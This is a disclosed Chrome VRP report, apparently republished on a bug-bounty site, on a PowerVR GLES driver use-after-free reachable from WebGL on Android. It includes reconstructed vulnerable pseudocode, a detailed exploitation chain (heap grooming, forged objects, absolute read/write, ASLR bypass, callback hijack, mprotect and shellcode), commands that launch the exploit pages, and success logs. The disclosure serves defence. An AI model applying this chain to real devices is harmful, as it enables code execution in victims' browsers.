Skip to content
Memory corruption Advisory Advanced CVE-2026-19170

Use after free in WebGL (CVE-2026-19170)

A use-after-free in the closed-source PowerVR GLES driver shipped with Chrome for Android lets a webpage keep a stale framebuffer attachment pointer after a layered texture's mip array is reallocated. The reporter turned this into absolute CPU read/write, an ASLR bypass and native code execution inside Chrome's privileged GPU process.

Muhammad Alifa Ramdhan Follow

Originally disclosed on Chrome VRP

Critical View original
  • Fix shipped in 16 days

Report description

PowerVR GLES texture mip-level reallocation UAF reachable from WebGL leads to Chrome GPU-process code execution


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Google Chrome for Android exposes WebGL through Blink. WebGL commands are serialized by the renderer and handled by Chrome's GPU process. On the tested Pixel 10 configuration, ANGLE's OpenGL ES backend forwards the validated GLES operations to Imagination Technologies' closed-source PowerVR userspace driver, /vendor/lib64/egl/libGLESv2_powervr.so.

The vulnerable object lifetime is inside the PowerVR library, but the library runs in Chrome's privileged GPU process. An ordinary webpage can reach the bug through Chrome's standard WebGL2 pipeline and execute native code in the GPU process.

Impact analysis

PowerVR GLES texture mip-level reallocation UAF reachable from WebGL leads to Chrome GPU-process code execution

Product Background

Google Chrome for Android exposes WebGL through Blink. WebGL commands are serialized by the renderer and handled by Chrome's GPU process. On the tested Pixel 10 configuration, ANGLE's OpenGL ES backend forwards the validated GLES operations to Imagination Technologies' closed-source PowerVR userspace driver, /vendor/lib64/egl/libGLESv2_powervr.so.

The vulnerable object lifetime is inside the PowerVR library, but the library runs in Chrome's privileged GPU process. An ordinary webpage can reach the bug through Chrome's standard WebGL2 pipeline and execute native code in the GPU process.

Summary

Field Value
Product Google Chrome for Android (WebGL / GPU Process)
Vendor Google; vulnerable third-party component supplied by Imagination Technologies
Vulnerable Component PowerVR GLES driver, libGLESv2_powervr.so
Severity High
Confirmed Versions Chrome 150.0.7871.63 (minimized crash) and 150.0.7871.124 (end-to-end exploit) on Pixel 10 build CP1A.260505.005
Driver Version PowerVR DDK 25.1, DXT-48-1536, BuildId cefd59f52838946b0e646aaf2bb04c76
Backend ANGLE OpenGL ES to native PowerVR GLES
CVE Identifier N/A
CVE Description A stale PowerVR FBO attachment pointer after texture mip-array reallocation can be reclaimed and controlled from WebGL, leading to GPU-process memory corruption, arbitrary CPU read/write, ASLR bypass, and native code execution.
CWE Classification(s) CWE-416: Use After Free; CWE-825: Expired Pointer Dereference

CVSS3.1 Scoring System

Base Score: 8.3 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) High
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

The attacker hosts a webpage and needs the victim to open it. Heap grooming and two exact allocator reuses justify AC:H. Successful exploitation crosses from web content into native code execution in Chrome's separately sandboxed GPU process, so scope is changed.

Technical Details

Root cause

PowerVR's GLES3TextureRec owns a dynamically allocated array of GLES3MipMapLevel records through psMipLevel at TextureRec+0x218. When a mutable TEXTURE_2D_ARRAY is attached to an FBO with framebufferTextureLayer(), the FBO retains an interior pointer to the selected mip record.

Redefining the live texture from depth 2 to depth 64 reallocates its mip array. The old 0x2600-byte array is freed, but the FBO attachment is not updated or invalidated. A later FBO operation dereferences the stale interior pointer. The minimized PoC reclaims the freed allocation with a uvec4[608] default-uniform store and demonstrates controlled 0x41414141 values reaching PowerVR's FBO path.

The vulnerable sequence is:

  1. Allocate a mutable depth-2 TEXTURE_2D_ARRAY.
  2. Attach one layer to an FBO and force native attachment synchronization.
  3. Redefine the still-attached texture with depth 64, freeing the old mip array.
  4. Reclaim the 0x2600-byte freed allocation with a large WebGL uniform store.
  5. Replace or synchronize the FBO attachment, causing PowerVR to consume the controlled stale record.

Reconstructed vulnerable code

The following BuildId-scoped pseudocode was reconstructed from libGLESv2_powervr.so BuildId cefd59f52838946b0e646aaf2bb04c76. The addresses are Binary Ninja virtual addresses for the ELF whose image base is 0x400000.

First, FramebufferTextureLayer@0x59ccc0 stores a raw interior pointer returned by MipMapGetLevel@0x4e86f0:

C
GLES3MipMapLevel *MipMapGetLevel(GLES3TextureRec *tex,
                                  uint32_t layer, uint32_t level) {
    size_t index = /* target-specific level/layer calculation */;
    return (GLES3MipMapLevel *)
        ((uint8_t *)tex->psMipLevel + index * 0x130);
}

// FramebufferTextureLayer@0x59ccc0
fbo->apsAttachment[attachment] = MipMapGetLevel(tex, layer, level);
// fbo->apsAttachment begins at fbo+0x330.

For a layered texture, TexImage3D@0x546940 calls GrowMipLevelArray@0x547810. realloc() releases the original mip array when the allocation moves, but no code updates the FBO's saved interior pointer:

C
// GrowMipLevelArray@0x547810
GLES3MipMapLevel *old_levels = tex->psMipLevel;
size_t bytes = ((size_t)new_layer_count << 4) * 0x130;
GLES3MipMapLevel *new_levels = realloc(old_levels, bytes);
tex->psMipLevel = new_levels;       // TextureRec+0x218
tex->allocatedLayers = new_layer_count; // TextureRec+0x224
// If new_levels != old_levels, old_levels has been freed.
// BUG: existing fbo->apsAttachment[] values still point into old_levels.

For the PoC, the initial call allocates 2 * 16 * 0x130 = 0x2600 bytes (with a null old pointer). Growing to 64 layers requests 64 * 16 * 0x130 = 0x4c000 bytes, moves the allocation, and releases the old 0x2600-byte array that is still referenced by the FBO.

The call order in TexImage3D makes the stale access immediate:

C
GrowMipLevelArray(tex, requested_depth);          // old array freed
RM_FlushUnKickedResource(...);
RM_WaitUntilResourceIsNotNeededForTransfers(...);
FBOAttachableHasBeenModified(ctx, modified_mip);  // uses stale FBO pointer
Texture2DCreateLevel(...);

FBOAttachableHasBeenModified@0x4ea960 reaches NotifyFrameBuffer@0x4eaa60, which loads the expired pointer from fbo+0x330 and dereferences attacker-reclaimable fields at +0xc0 and +0x120:

C
// NotifyFrameBuffer@0x4eaa60
GLES3MipMapLevel *stale = fbo->apsAttachment[0]; // freed interior pointer
GLES3TextureRec *owner = modified_mip->psTex;    // modified_mip+0x120

if (stale != NULL &&                // UAF reads below
    stale->eAttachmentType == 0x1702 &&  // stale+0xc0
    stale->psTex == owner) {              // stale+0x120
    /* mark/invalidate framebuffer state */
}

During a later attachment replacement, the same stale +0x120 value is treated as an object pointer: FramebufferTextureLayer@0x59ccc0 decrements *(stale->psTex + 0x228) and passes the pointer to NamedItemDelRefExt. This is the controlled free mechanism used by the exploit's two-alias reclaim chain.

The minimized crash has x8=x9=0x4141414141414141, fault address 0x0041414141414149, and its first two frames in PowerVR BindFramebuffer/glBindFramebuffer. See crash.txt.

From the UAF to absolute CPU read/write

exp.html turns the stale pointer into a reusable primitive with two independent mip aliases:

  1. Two attached depth-2 texture arrays are resized to depth 64. Each FBO keeps a dangling pointer into a freed 0x2600-byte mip array.
  2. Two split-stage uniform controllers exact-reclaim the freed mip arrays. Fake renderbuffer-shaped records are consumed by FBO detach, self-freeing both controller stores while their WebGL program handles remain live.
  3. A fresh depth-2 texture spray reclaims the two 0x2600-byte stores. The dangling getUniform() views now disclose genuine live mip records, including their TextureRec+0x120 owner pointers. Unique texture widths map each leaked native owner back to a JavaScript texture handle.
  4. The exploit normally deletes the first mapped texture. PowerVR frees its 0x3a8-byte GLES3TextureRec at the disclosed address O. Accessor Program C, whose 0x3c0-byte record belongs to the same Scudo 0x450 size class, immediately exact-reclaims O.
  5. The second stale mip alias is rewritten as a fake renderbuffer with its free target set to O. Detaching its already-armed FBO raw-frees Program C while preserving C's GL namespace entry.
  6. Linking Program D allocates a controlled uvec4[60] default-uniform store at O. Those bytes forge the still-addressable Program C record.

The forged C record contains one valid uniform descriptor. Program D controls fake C's default_uniform_store pointer at C+0x1f8. Changing that field and then calling getUniform(C, ...) reads 16 bytes from a selected 64-bit CPU address. Calling uniform4uiv(C, ...) writes 16 bytes to the same selected address. Program D can rewrite the pointer for each operation, providing an address-selected absolute CPU read/write primitive.

The exploit validates the primitive before continuing:

Text
ABSOLUTE READ OK:  13579bdf 2468ace0 feedface c001d00d
ABSOLUTE WRITE OK: 41424344 51525354 61626364 71727374

ASLR bypass

The primitive walks the following live object chain from the engine texture to the owning GLES context and loaded libraries:

Text
history = *(engine_texture + 0x30)
queue   = *history
context = *(queue + 0x10)
creator = *(context + 0xb4a0)           // CreatePrimitiveQueryTarget
GLES    = creator - 0xe10f0
free    = *(GLES + 0x1d7fc0)            // free@GOT
libc    = free - 0x59460

From libc, the page reads the __loader_shared_globals GOT entry, derives the linker base, and walks the linker's valid soinfo list to locate libandroid_runtime.so. This resolves the required code addresses through the WebGL-backed absolute read primitive and live driver/linker structures.

Shellcode execution

PowerVR stores per-query-target callback records in GLES3Context_TAG. The exploit uses the absolute write primitive to replace the synchronous End@+0x28 callback of two already initialized query targets. Two BTI-compatible returning adapters in libandroid_runtime.so arrange controlled x0, x1, x2, and final PC while preserving the return path to glEndQuery():

  1. Ending a TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN query calls mprotect(D_page, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC) in libc.
  2. Ending an ANY_SAMPLES_PASSED query jumps to a 100-byte AArch64 payload stored in Program D's uniform allocation.

The payload uses raw getpid, openat, read, and close syscalls. It writes the magic 0x52434521, its PID, and /proc/self/cmdline to memory readable by the WebGL primitive, then returns. In the final report run the page displayed:

Text
CONTROLLED CODE EXECUTION OK: marker=0x52434521
getpid=16588 /proc/self/cmdline=com.android.chrome:privileged_process0
STAGE 7 OK: ordinary WebGL -> identified Chrome GPU-process code execution

An external ps check independently matched the returned PID and process name. In the latest validation run, PID 18391 completed all seven stages and its selected Scudo range was 7afc15e000-7afc160000 rwxp.

Suggested fix

Represent each attachment with a stable texture reference plus level/layer indices, or update every FBO attachment whenever psMipLevel is reallocated. Detach or invalidate dependent FBO records before replacing the old array. Apply the lifetime fix across every layered-texture redefinition path and size.

Proof-Of-Concept and Crash log

The submission contains:

  • poc.html — minimized, fixed-configuration crash trigger.
  • exp.html — automatically running end-to-end exploit with absolute CPU read/write, live-object ASLR bypass, mprotect, and a returning identity payload.
  • crash.txt — minimized controlled-pointer crash plus controlled-PC diagnostic excerpt.

Serve the directory over HTTP and expose the port to the device:

Shell
python3 -m http.server 8000 --bind 127.0.0.1
adb reverse tcp:8000 tcp:8000

Minimized crash:

Shell
adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
  -d http://127.0.0.1:8000/poc.html com.android.chrome

End-to-end exploit:

Shell
adb shell am force-stop com.android.chrome
adb shell am start -W -a android.intent.action.VIEW \
  -d http://127.0.0.1:8000/exp.html com.android.chrome

Both pages start automatically with fixed configuration and geometry. For exp.html, success is the on-page STAGE 7 OK message and the returned com.android.chrome:privileged_process0 identity. The payload returns normally and the GPU process remains alive.

Exploit

exp.html is a self-contained ordinary-WebGL2 exploit. It includes shader sources, heap grooming, two stale-alias controllers, the forged ProgramRec layout, the absolute 16-byte CPU read/write implementation, live pointer and DSO traversal, callback adapters, and the identity payload as AArch64 instruction words with an assembly comment.

The exploit uses six controller programs, ten texture-spray objects, a 608-vector 0x2600-byte mip reclaimer, and a 60-vector 0x3c0-byte ProgramRec reclaimer. It runs its seven stages automatically and checks the critical reclaim, pointer, read/write, DSO, callback, and identity invariants before advancing.

Full webpage output from a fresh successful run:

Text
[2026-07-22T08:18:34.889Z] renderer=ANGLE (Imagination Technologies, PowerVR D-Series DXT-48-1536, OpenGL ES 3.2)
[2026-07-22T08:18:34.889Z] controllers=6 TS=10 fixed 0x2600 geometry
[2026-07-22T08:18:34.894Z] prepared controller pool, C shaders, and unlinked D
[2026-07-22T08:18:34.900Z] freed two attached 0x2600 old mip slabs
[2026-07-22T08:18:34.927Z] linked and committed all fake-RBO controller stores
[2026-07-22T08:18:34.931Z] consumed both stale source FBO attachments
[2026-07-22T08:18:34.939Z] candidate[0] vec=20/20 type=0x1702 size=17x8x1 owner=0xb400007afc1633f0
[2026-07-22T08:18:34.939Z]   mapped controller[0] -> TS[0] width=17
[2026-07-22T08:18:34.943Z] candidate[1] vec=20/20 type=0x1702 size=18x8x1 owner=0xb400007afc161e60
[2026-07-22T08:18:34.943Z]   mapped controller[1] -> TS[1] width=18
[2026-07-22T08:18:34.947Z] candidate[2] vec=20/20 type=0x0 size=0x0x0 owner=0x0000000000000000
[2026-07-22T08:18:34.950Z] candidate[3] vec=20/20 type=0x0 size=0x0x0 owner=0x0000000000000000
[2026-07-22T08:18:34.958Z] candidate[4] vec=20/20 type=0x0 size=0x0x0 owner=0x0000000000000000
[2026-07-22T08:18:34.962Z] candidate[5] vec=20/20 type=0x0 size=0x0x0 owner=0x0000000000000000
[2026-07-22T08:18:34.962Z] victim: A0 -> TS0 owner=0xb400007afc1633f0
[2026-07-22T08:18:34.963Z] engine: A1 -> TS1 owner=0xb400007afc161e60
[2026-07-22T08:18:34.964Z] pre-armed engine mip in a real native FBO attachment
[2026-07-22T08:18:34.964Z] STAGE 1 OK
[2026-07-22T08:18:35.066Z] normally deleted TS0; TextureRec 0xb400007afc1633f0 is free
[2026-07-22T08:18:35.066Z] victim controller alias is now dangling again and will not be touched
[2026-07-22T08:18:35.067Z] STAGE 2 OK: C created after free; hypothesis C_rec=0xb400007afc1633f0
[2026-07-22T08:18:35.170Z] engine mip forged with arbitrary-free target 0xb400007afc1633f0
[2026-07-22T08:18:35.173Z] engine detach submitted: C should now be raw-freed without namespace unlink
[2026-07-22T08:18:35.174Z] D linked; hypothesis D_store=0xb400007afc1633f0
[2026-07-22T08:18:35.187Z] ABSOLUTE READ OK: native C name=13 location=0
[2026-07-22T08:18:35.187Z]   gl.getUniform(C) -> 13579bdf 2468ace0 feedface c001d00d
[2026-07-22T08:18:35.187Z]   source P=0xb400007afc163760 inside known D store
[2026-07-22T08:18:35.289Z] ABSOLUTE WRITE OK: C setter changed D_store+0x370
[2026-07-22T08:18:35.290Z]   41424344 51525354 61626364 71727374
[2026-07-22T08:18:35.290Z] STAGE 4 OK: absolute CPU R/W proven; context intentionally retained
[2026-07-22T08:18:35.396Z] LIVE DSO LEAK OK: history=0xb400007a0c0955e0 queue=0xb400007b0c05a8e0
[2026-07-22T08:18:35.397Z]   GLES3Context=0xb400007a3c09a070 SrvSysContext=0x00000079bc6ee098
[2026-07-22T08:18:35.397Z]   CreatePrimitiveQueryTarget=0x00000079a96eb0f0
[2026-07-22T08:18:35.397Z]   libGLESv2_powervr base=0x00000079a960a000
[2026-07-22T08:18:35.397Z]   free=0x0000007ca5f26460 libc base=0x0000007ca5ecd000
[2026-07-22T08:18:35.397Z] STAGE 5 OK: live-object WebGL ASLR bypass; no stale heap or /proc used
[2026-07-22T08:18:35.520Z] LINKER DSO WALK OK: __loader_shared_globals=0x0000007cb78cf4e0
[2026-07-22T08:18:35.520Z]   linker base=0x0000007cb7849000 solist entries=4
[2026-07-22T08:18:35.520Z]   libandroid_runtime=0x0000007c9fc85000 /system/lib64/libandroid_runtime.so
[2026-07-22T08:18:35.520Z] STAGE 6 OK: libandroid_runtime disclosed without /proc or stale memory
[2026-07-22T08:18:35.640Z] RCE trigger 1 mprotect(RWX): returning end callback completed
[2026-07-22T08:18:35.651Z] RCE trigger 2 identity shellcode: returning end callback completed
[2026-07-22T08:18:35.654Z] CONTROLLED CODE EXECUTION OK: marker=0x52434521
[2026-07-22T08:18:35.654Z]   getpid=18108 /proc/self/cmdline=com.android.chrome:privileged_process0
[2026-07-22T08:18:35.654Z]   query targets=0xb400007b5c0526f0, 0xb400007b0c059c80
[2026-07-22T08:18:35.654Z]   mprotect=0x0000007ca5fad380
[2026-07-22T08:18:35.654Z]   D page=0xb400007afc163000 shellcode=0xb400007afc1636e0
[2026-07-22T08:18:35.655Z] STAGE 7 OK: ordinary WebGL -> identified Chrome GPU-process code execution

Confirmed environment:

Text
Device:        Google Pixel 10 (frankel)
Android build: CP1A.260505.005
Security SPL:  2026-05-05
Chrome:        150.0.7871.124
ANGLE backend: OpenGL ES -> native PowerVR GLES
GPU:           PowerVR D-Series DXT-48-1536
PowerVR DDK:   25.1
GLES BuildId:  cefd59f52838946b0e646aaf2bb04c76
MTE boot mode: arm64.memtag.bootctl=none (device default)

The cause

What version of Chrome have you found the security issue in?

Chrome 150.0.7871.124

Is the security issue related to a crash?

Yes, it is related to a crash.

Choose the type of vulnerability

Sandbox Escape

How would you like to be publicly acknowledged for your report?

Muhammad Alifa Ramdhan, Pan ZhenPeng, Billy Jheng Bing Jhong of STAR Labs SG Pte. Ltd.

The original report as published on the Chromium issue tracker, by Muhammad Alifa Ramdhan, Pan ZhenPeng, Billy Jheng Bing Jhong of STAR Labs SG Pte. Ltd.. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The PowerVR driver stores a raw interior pointer to a mip-level record in the framebuffer attachment, and reallocating the texture's mip array frees that record without updating or invalidating the attachment.

Impact

An attacker who gets a victim to open a crafted page could achieve native code execution in Chrome's sandboxed GPU process, though the exploit needs heap grooming and exact allocator reuses.

What the attacker needed

Chrome for Android on a PowerVR device; Victim opens an attacker-hosted page; Heap grooming and exact allocator reuse

The fix

The driver should represent attachments with a stable texture reference plus level and layer indices, or update or invalidate every framebuffer attachment whenever the mip array is reallocated.

How it was found

  1. Create a mutable depth-2 TEXTURE_2D_ARRAY and attach one layer to a framebuffer, forcing native attachment synchronisation.
  2. Redefine the still-attached texture with depth 64 so the old mip array is freed.
  3. Reclaim the freed allocation with a large WebGL uniform store.
  4. Replace or synchronise the framebuffer attachment so the driver consumes the controlled stale record.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A texture in WebGL is stored in memory, and the graphics driver keeps a pointer to part of it when the texture is attached to a framebuffer. If the texture is resized, that memory is freed and replaced, but the old pointer is never updated, so the driver later reads memory the page can now control. Because the driver runs inside Chrome's GPU process, this can lead to running the attacker's own code there.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.